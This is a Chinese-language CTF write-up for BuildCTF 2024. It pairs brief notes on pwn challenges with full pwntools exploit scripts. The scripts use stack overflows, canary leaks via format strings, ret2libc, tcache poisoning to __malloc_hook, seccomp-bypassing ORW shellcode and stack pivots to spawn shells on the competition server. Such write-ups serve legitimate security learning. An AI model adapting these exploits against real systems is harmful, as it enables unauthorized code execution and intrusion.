BuildCTF 2024 Writeup
unint
输入负数作为无符号整数得到“无限”长栈溢出,fmtstr 获取 canary,32 位栈传参 ret2libc。
from pwn import *
from ctypes import *
context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './unint'
# p = process(binary)
p = connect('27.25.151.80', 40288)
e = ELF(binary)
libc = ELF('./libc.so.6')
# gdb.attach(p, "set follow-fork-mode parent")
p.sendlineafter(b'? ', b'-100')
p.sendlineafter(b'?\n', b'%7$p')
p.recvuntil(b':')
canary = int(p.recvuntil(b'S', drop=True), 16)
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(e.sym['puts']) + p32(e.sym['vuln']) +
p32(e.got['puts']))
p.recvuntil(b'\n')
libc.address = u32(p.recv(4)) - libc.sym['puts']
success(f'libc_base: {hex(libc.address)}')
p.sendlineafter(b'? ', b'-100')
p.sendlineafter(b'?\n', b'RiK')
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(libc.address + 0x3a81c))
p.interactive()
Sharwama
from pwn import *
from ctypes import *
context(arch="amd64", os="linux", terminal=["konsole", "-e"])
binary = './Shawarma'
p = connect('27.25.151.80', 33485)
e = ELF(binary)
# gdb.attach(p, "set follow-fork-mode parent")
for i in range(1000):
p.sendline(b'5')
p.sendline(b'2')
p.interactive()
ret2half
首先绕过给出种子的猜随机数得到 admin 权限,可自由 view chunk。存在 UAF,限制 add 9 次。申请 0x10 大小获得先前 free chunk in tcache,view 得堆基址(tcache safe-linking xor with null)。然后 tcache poisoning 将 fake chunk 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,view(回答玩原神)leak libc base。过程中顺便填入之后要用到的 shellcode。修改 tcache_perthread_struct 中 0x20 tcache_entry 为 &_environ、0x30 tcache_entry 为 &(0x80 tcache_entry),再次申请 0x10 大小 chunk 至 &_environ,view leak stack base。申请 0x20 大小 chunk 至 0x80 tcache_entry,写入 &stack;申请 0x70 大小 chunk 至 stack,写入 ROP 调用 mprotect 修改堆区页可执行并 ret2shellcode。本题开启 seccomp 沙箱禁用 execve open 等,需要 ORW(openat2、read、write)。
from pwn import *
from ctypes import *
context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './ret2half'
# line CODE JT JF K
# =================================
# 0000: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0001: 0x35 0x00 0x03 0x40000000 if (A < 0x40000000) goto 0005
# 0002: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0003: 0x15 0x01 0x00 0xffffffff if (A == 0xffffffff) goto 0005
# 0004: 0x06 0x00 0x00 0x00000000 return KILL
# 0005: 0x15 0x0b 0x00 0x00000065 if (A == ptrace) goto 0017
# 0006: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0007: 0x15 0x09 0x00 0x00000130 if (A == open_by_handle_at) goto 0017
# 0008: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0009: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0017
# 0010: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0011: 0x15 0x05 0x00 0x00000101 if (A == openat) goto 0017
# 0012: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0013: 0x15 0x03 0x00 0x00000142 if (A == execveat) goto 0017
# 0014: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0015: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0017
# 0016: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 0017: 0x06 0x00 0x00 0x00000000 return KILL
p = process(binary)
e = ELF(binary)
libc = cdll.LoadLibrary('./libc.so.6')
p.sendlineafter(b':\n', cyclic(9))
p.sendlineafter(b':\n', cyclic(9))
# get admin
p.sendlineafter(b':\n', b'3')
p.recvuntil(b'?\n')
seed = int(p.recv())
libc.srand(seed)
p.sendline(str(libc.rand()).encode())
libc = ELF('./libc.so.6')
# max: 9, size 1 ~ 112
def add(size: int, content: bytes):
p.sendlineafter(b':\n', b'1')
p.sendlineafter(b':\n', str(size).encode())
p.sendlineafter(b':\n', content)
def edit(content: bytes):
p.sendlineafter(b':\n', b'2')
p.sendlineafter(b':\n', content)
def view():
p.sendlineafter(b':\n', b'3')
def delete():
p.sendlineafter(b':\n', b'4')
# gdb.attach(p)
add(0x10, b'')
view()
p.recvuntil(b'info:\n')
heap_base = (u64(p.recv(5).ljust(8, b'\x00')) >> 4) << 12
success(f'heap_base: {hex(heap_base)}')
shellcode = f"""
push 0x50
lea rax, [rsp - 0x60]
push rax
mov rax, 0x67616c662f
push rax
push __NR_openat2 ; pop rax
xor rdi, rdi
push rsp ; pop rsi
mov rdx, {heap_base + 0x1000}
push 0x18 ; pop r10
syscall
push rax
push __NR_readv ; pop rax
pop rdi
popf
push rsp ; pop rsi
push 1 ; pop rdx
syscall
push __NR_writev ; pop rax
push 1 ; pop rdi
syscall
"""
add(0x70, b'asd')
delete()
edit(p64(heap_base + 0x10))
add(0x70, asm(shellcode))
add(0x70, b'\x00' * ((0x250 - 0x20) // 0x10) + b'\x07')
delete()
view()
p.sendlineafter(b'Y/N', b'Y')
p.recvuntil(b'info:')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0
success(f'libc_base: {hex(libc.address)}')
edit(b'\x01' * 0x40 + p64(libc.sym['_environ'] - 0x10) + p64(heap_base + 0x10 + 0x40 + ((0x80 - 0x20) // 0x10) * 0x8))
add(0x10, b'a' * 0xf)
view()
p.recvuntil(b'a' * 0xf + b'\n')
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x100
success(f'stack: {hex(stack)}')
add(0x20, p64(stack))
rop = flat([
p64(libc.search(asm('pop rdi\nret')).__next__()), heap_base,
# 0x0000000000130539 : pop rdx ; pop rsi ; ret;
libc.address + 0x130539, 0x7, 0x1000,
libc.sym['mprotect'],
heap_base + 0x2a0
])
add(0x70, rop)
p.interactive()
远程栈偏移(environ)为 本地 - 0x8。
off-by-one
首先接收 gift backdoor。没限制堆块大小没清空堆块,leak libc、heap base。off-by-one 修改 size 构造重叠块,利用重叠堆块和堆基址绕过 safe-linking 修改 next,tcache poisoning 至 __malloc_hook,backdoor getshell。
from pwn import *
from ctypes import *
context(arch="amd64", os="linux", terminal=[
"konsole", "-e"], log_level='debug')
binary = './off-by-one'
p = process(binary)
# p = connect('27.25.151.80', 39991)
e = ELF(binary)
libc = ELF('./libc-2.32.so')
# gdb.attach(p, "set follow-fork-mode parent")
p.recvuntil(b':')
shell = int(p.recvuntil(b'1.', drop=True), 16)
success(hex(shell))
def add(size: int, content: bytes = None):
p.sendlineafter(b': ', b'1')
p.sendlineafter(b': ', str(size).encode())
if content is not None:
p.sendlineafter(b'?\n', b'1')
p.sendafter(b': ', content)
else:
p.sendlineafter(b'?\n', b'0')
def delete(index: int):
p.sendlineafter(b': ', b'2')
p.sendlineafter(b': ', str(index).encode())
def edit(index: int, content: bytes):
p.sendlineafter(b': ', b'3')
p.sendlineafter(b': ', str(index).encode())
p.sendafter(b': ', content)
def show(index: int):
p.sendlineafter(b': ', b'4')
p.sendlineafter(b': ', str(index).encode())
add(0x500)
add(0x18)
delete(0)
delete(1)
add(0x500, b'a')
add(0x18)
show(0)
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 1981537
success(f'libc_base: {hex(libc.address)}')
show(1)
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
success(f'heap_base: {hex(heap_base)}')
add(0x18)
add(0x18)
edit(1, cyclic(0x18) + b'\x41')
delete(2)
add(0x38)
add(0x18)
delete(4)
delete(3)
edit(2, cyclic(0x18) + p64(0x21) + p64(libc.sym['__malloc_hook'] ^ (heap_base >> 12)))
add(0x18)
add(0x18, p64(shell))
p.sendlineafter(b': ', b'1')
p.sendlineafter(b': ', b'1')
p.interactive()
message
打开文件模式为 a+,写入时从文件末尾开始。开启两个远程向同一个文件写入,sleep 至两进程等待输入时先后输入。view 时没有检查文件内容长度,存在栈溢出。第一次 puts leak libc,第二次 getshell。
from ctypes import *
from pwn import *
context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './message'
e = ELF(binary)
libc = ELF('./libc.so.6')
def add(p):
p.sendlineafter(b':', b'1')
def start_edit(p):
p.sendlineafter(b':', b'2')
def edit(p, content: bytes):
p.sendafter(b':', content)
def view(p):
p.sendlineafter(b':', b'3')
def delete(p):
p.sendlineafter(b':', b'4')
pop_rdi = e.search(asm('pop rdi; ret;')).__next__()
p = connect('27.25.151.80', 37364)
q = connect('27.25.151.80', 37364)
add(p)
add(q)
start_edit(p)
start_edit(q)
sleep(2.5)
edit(p, cyclic(80))
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p6
4(e.sym['main']))
view(p)
p.recvuntil(b'\n')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {hex(libc.address)}')
bin_sh = libc.search(b'/bin/sh\x00').__next__()
system = libc.sym['system']
add(p)
start_edit(p)
start_edit(q)
sleep(2.5)
edit(p, cyclic(80))
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rdi + 1) + p64(system)
)
# gdb.attach(p, "set follow-fork-mode parent")
view(p)
p.interactive()
login
两次栈迁移板子。read
的参数和缓冲区大小竟然都和羊城杯 2024 签到题一样,改一下 fake_stack
地址直接出了。
from pwn import *
from pwnlib.util.proc import wait_for_debugger
context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug')
binary = './vuln'
# p = process(binary)
p = connect('27.25.151.80', 39571)
libc = ELF('./libc.so.6')
e = ELF(binary)
# gdb.attach(p)
puts_addr = e.plt['puts']
puts_got_addr = e.got['puts']
vuln_addr = e.sym['login']
pop_rdi = e.search(asm('pop rdi; ret;')).__next__()
leave = e.search(asm('leave; ret;')).__next__()
fake_stack = 0x601500
pop_rbp = e.search(asm('pop rbp; ret;')).__next__()
fake_stack2 = 0x601500 + 0x3fe300 - 0x3FE2C0
p.sendafter(b'n!\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4))
p.sendafter(b'n!\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vul
n_addr + 4) + p64(0) + p64(fake_stack) + p64(leave))
puts = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base_addr = puts - libc.sym['puts']
print(hex(libc_base_addr))
bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__()
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__()
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__()
execve = libc_base_addr + libc.symbols['execve']
pop_r12_r13 = libc_base_addr + libc.search(asm('pop r12; pop r13; ret;')).__next__()
one_gadget = libc_base_addr + 0x4527a
p.sendafter(b'n!\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadge
t) + p64(execve) + p64(fake_stack2) + p64(leave))
p.interactive()
eznote
限制堆块大小,考虑 tcache attack。将一个 tcache 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,leak libc。然后修复 size=0x20 的 tcache count,再次 tcache poisoning 至 __malloc_hook,one_gadget getshell。
from pwn import *
from ctypes import *
context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug")
binary = "./attachment"
# p = connect('27.25.151.80', 37857)
p = process(binary)
e = ELF(binary)
libc = ELF("./libc.so.6")
gdb.attach(p)
index = -1
def add(size: int, content: bytes) -> int:
global index
assert size <= 0x80
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b": ", str(size).encode())
p.sendafter(b": ", content)
index += 1
return index
def edit(index: int, size: int, content: bytes):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b": ", str(index).encode())
p.sendlineafter(b": ", str(size).encode())
p.sendafter(b": ", content)
def show(index: int):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b": ", str(index).encode())
def delete(index: int):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b": ", str(index).encode())
add(0x80, b"aaaa")
delete(0)
edit(0, 0x10, b"\x00" * 0x10)
delete(0)
show(0)
p.recvuntil(b": ")
heap_base = u64(p.recv(6).ljust(8, b"\x00")) >> 12 << 12
success(f"heap_base: {hex(heap_base)}")
edit(0, 0x10, p64(heap_base + 0x10) + b"\x00" * 8)
add(0x80, b"bbbb")
edit(add(0x80, b"cccc"), 0x80, b"\x00" * 79 + b"\x07")
delete(2)
show(2)
p.recvuntil(b": ")
main_arena = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = main_arena - 2018272
success(f"libc_base: {hex(libc.address)}")
delete(1)
edit(2, 0x20, p64(main_arena) + p64(main_arena)[0:7] + b"\x01")
edit(1, 0x8, p64(libc.sym["__malloc_hook"]))
add(0x80, b"PwnRiK")
add(0x80, p64(libc.address + 0xE3B01)) # one_gadget
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b": ", b"1")
p.interactive()
Format1
标准的ret2libc
#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
arch='amd64',
os='linux',
terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './test'
elf = ELF(file_name)
libc = ELF('./libc-2.31.so')
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# io = process(file_name)
io = remote('27.25.151.80', 41880)
# gdb.attach(io)
io.recvuntil(b'BuildCTF\n')
io.recvuntil(b'=> ')
puts_addr = int(io.recvuntil(b'\n'), 16)
log.success(f"puts_addr = {hex(puts_addr)}")
io.sendline(b'%15$llx')
io.recvuntil(b's is ')
canary = int(io.recvuntil('?')[:-1], 16)
log.success(f"canary = {hex(canary)}")
libc_addr = puts_addr - libc.sym['puts']
log.success(f"libc = {hex(libc_addr)}")
system_addr = libc.sym['system'] + libc_addr
binsh_addr = next(libc.search(b'/bin/sh\x00')) + libc_addr
gad_pop_rdi_ret = libc_addr + next(libc.search(asm("pop rdi; ret;"), executable=True))
payload = cyclic(0x30 - 8) + p64(canary) + cyclic(8) + p64(gad_pop_rdi_ret) + p64(binsh_addr) + p64(gad_pop_rdi_ret + 1) + p64(system_addr)
io.sendline(payload)
io.interactive()
Format2
已知 libc 偏移,一次 scanf 格式化字符串漏洞达到任意地址任意写,程序自然退出。注意到 libc 与 ld 偏移固定,考虑劫持 rtld_lock_default_lock_recursive 为 one_gadget,程序 exit 时在 _dl_fini 内被执行。
from pwn import *
from ctypes import *
context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug")
binary = "./test1"
# p = process(binary)
p = connect('27.25.151.80', 42192)
e = ELF(binary)
libc = ELF("./libc-2.31.so")
p.recvuntil(b"0x")
libc_base = int(p.recvuntil(b"\n", drop=True).decode(), 16) - libc.sym["puts"]
success(hex(libc_base))
p.sendline(b'%7$lu'.ljust(8, b'\x00') + p64(libc_base + 0x1f4000 + 192360)) # &rtld_lock_default_lock_recursive
p.sendlineafter(b"?\n", str(libc_base + 0xE3B2E).encode())
p.interactive()
libc 与 ld 偏移与内核版本有关,一开始取本地偏移打远程打不通,换用 Ubuntu 22.04 虚拟机取偏移才顺利打通远程,其实也可以考虑爆破地址 8 bit。